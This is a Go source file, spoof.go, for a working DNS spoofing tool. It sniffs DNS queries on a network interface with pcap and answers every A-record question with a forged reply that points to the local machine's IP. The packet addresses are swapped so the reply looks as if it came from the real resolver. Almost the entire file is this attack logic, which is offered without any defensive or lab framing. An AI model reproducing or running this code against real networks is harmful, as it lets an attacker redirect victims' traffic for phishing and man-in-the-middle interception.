spoof.go

package main

import (
  "fmt"
  "net"

  "github.com/google/gopacket"
  "github.com/google/gopacket/layers"
  "github.com/google/gopacket/pcap"
)

func getIfaceAddr(ifacename string) net.IP {

  // get the list of interfaces
  ifaces, err := net.Interfaces()
  if err != nil {
    panic(err)
  }

  // loop through them to get our local address
  for i := range ifaces {

    // check it's the interface we want
    if ifaces[i].Name != ifacename {
      continue
    }

    // get the addresses
    addrs, err := ifaces[i].Addrs()
    if err != nil {
      panic(err)
    }

    // check to ensure there is an address on this interface
    if len(addrs) < 1 {
      panic("No address on target interface")
    }

    // use the first available address
    ip, _, err := net.ParseCIDR(addrs[0].String())
    if err != nil {
      panic(err)
    }

    return ip

  }
  return nil
}

/*
Spoof is the entry point for the actual spoofing subroutine.

Spoof handles getting packets from the NICs, identifying DNS
queries, and seding responses. It is mostly concerened with
the packet level logic, and does not manipulate the responses
themselves
*/
func spoof(ifacename string) {

  // get our local ip
  ip := getIfaceAddr(ifacename)
  if ip == nil {
    panic("Unable to get IP")
  }

  // open a handle to the network card(s)
  ifaceHandle, err := pcap.OpenLive(ifacename, 1600, true, pcap.BlockForever)
  if err != nil {
    panic(err)
  }

  defer ifaceHandle.Close()

  // set the filter
  err = ifaceHandle.SetBPFFilter("udp and dst port 53")
  if err != nil {
    // not fatal
    fmt.Printf("Unable to set filter: %v\n", err.Error())
  }

  // pre-allocate all the space needed for the layers
  var ethLayer layers.Ethernet
  var ipv4Layer layers.IPv4
  var udpLayer layers.UDP
  var dnsLayer layers.DNS

  var q layers.DNSQuestion
  var a layers.DNSResourceRecord

  // create the decoder for fast-packet decoding
  // (using the fast decoder takes about 10% the time of normal decoding)
  decoder := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &ethLayer, &ipv4Layer, &udpLayer, &dnsLayer)

  // this slick will hold the names of the layers successfully decoded
  decodedLayers := make([]gopacket.LayerType, 0, 4)

  // pre-create the response with most of the data filled out
  a.Type = layers.DNSTypeA
  a.Class = layers.DNSClassIN
  a.TTL = 300
  a.IP = ip

  // create a buffer for writing output packet
  outbuf := gopacket.NewSerializeBuffer()
  // TODO (Optionally) replace with NewSerializeBufferExpectedSize to speed up a bit more

  // set the arguments for serialization
  serialOpts := gopacket.SerializeOptions{
    FixLengths:       true,
    ComputeChecksums: true,
  }

  // pre-allocate loop counter
  var i uint16

  // swap storage for ip and udp fields
  var ipv4Addr net.IP
  var udpPort layers.UDPPort
  var ethMac net.HardwareAddr

  // Main loop for dns packets intercepted
  // No new allocations after this point to keep garbage collector
  // cyles at a minimum
  for {
    packetData, _, err := ifaceHandle.ZeroCopyReadPacketData()

    if err != nil {
      break
    }

    fmt.Println("Got packet from filter")

    // decode this packet using the fast decoder
    err = decoder.DecodeLayers(packetData, &decodedLayers)
    if err != nil {
      fmt.Println("Decoding error!")
      continue
    }

    // only proceed if all layers decoded
    if len(decodedLayers) != 4 {
      fmt.Println("Not enough layers!")
      continue
    }

    // check that this is not a response
    if dnsLayer.QR {
      continue
    }

    // print the question section
    for i = 0; i < dnsLayer.QDCount; i++ {
      fmt.Println(string(dnsLayer.Questions[i].Name))
    }

    // set this to be a response
    dnsLayer.QR = true

    // if recursion was requested, it is available
    if dnsLayer.RD {
      dnsLayer.RA = true
    }

    // for each question
    for i = 0; i < dnsLayer.QDCount; i++ {

      // get the question
      q = dnsLayer.Questions[i]

      // verify this is an A-IN record question
      if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
        continue
      }

      // copy the name across to the response
      a.Name = q.Name

      // append the answer to the original query packet
      dnsLayer.Answers = append(dnsLayer.Answers, a)
      dnsLayer.ANCount = dnsLayer.ANCount + 1

    }

    // swap ethernet macs
    ethMac = ethLayer.SrcMAC
    ethLayer.SrcMAC = ethLayer.DstMAC
    ethLayer.DstMAC = ethMac

    // swap the ip
    ipv4Addr = ipv4Layer.SrcIP
    ipv4Layer.SrcIP = ipv4Layer.DstIP
    ipv4Layer.DstIP = ipv4Addr

    // swap the udp ports
    udpPort = udpLayer.SrcPort
    udpLayer.SrcPort = udpLayer.DstPort
    udpLayer.DstPort = udpPort

    // set the UDP to be checksummed by the IP layer
    err = udpLayer.SetNetworkLayerForChecksum(&ipv4Layer)
    if err != nil {
      panic(err)
    }

    // serialize packets
    err = gopacket.SerializeLayers(outbuf, serialOpts, &ethLayer, &ipv4Layer, &udpLayer, &dnsLayer)
    if err != nil {
      panic(err)
    }

    // write packet
    err = ifaceHandle.WritePacketData(outbuf.Bytes())
    if err != nil {
      panic(err)
    }

    fmt.Println("Response sent")

    // comment out for debugging
    continue

    // DEBUGGG--------------------------------------------------------------

    err = decoder.DecodeLayers(outbuf.Bytes(), &decodedLayers)
    if err != nil {
      fmt.Println("Decoding error: " + err.Error())
      continue
    }

    // only proceed if all layers decoded
    if len(decodedLayers) != 4 {
      fmt.Println("Not enough layers!")
      for j := range decodedLayers {
        fmt.Println(decodedLayers[j])
      }
      continue
    }

    // print packet
    fmt.Printf("IP src %v\n", ipv4Layer.SrcIP)
    fmt.Printf("IP dst %v\n", ipv4Layer.DstIP)
    fmt.Printf("UDP src port: %v\n", udpLayer.SrcPort)
    fmt.Printf("UDP dst port: %v\n", udpLayer.DstPort)
    fmt.Printf("DNS Quy count: %v\n", dnsLayer.QDCount)
    // print the question section
    for i = 0; i < dnsLayer.QDCount; i++ {
      fmt.Printf("%v\n", string(dnsLayer.Questions[i].Name))
    }
    fmt.Printf("DNS Ans count: %v\n", dnsLayer.ANCount)

    // print the question section
    for i = 0; i < dnsLayer.ANCount; i++ {
      fmt.Printf("%v type %v\n", string(dnsLayer.Answers[i].Name), dnsLayer.Answers[i].Type)
      fmt.Printf("\t%v\n", dnsLayer.Answers[i].IP)
    }

    break

  }
}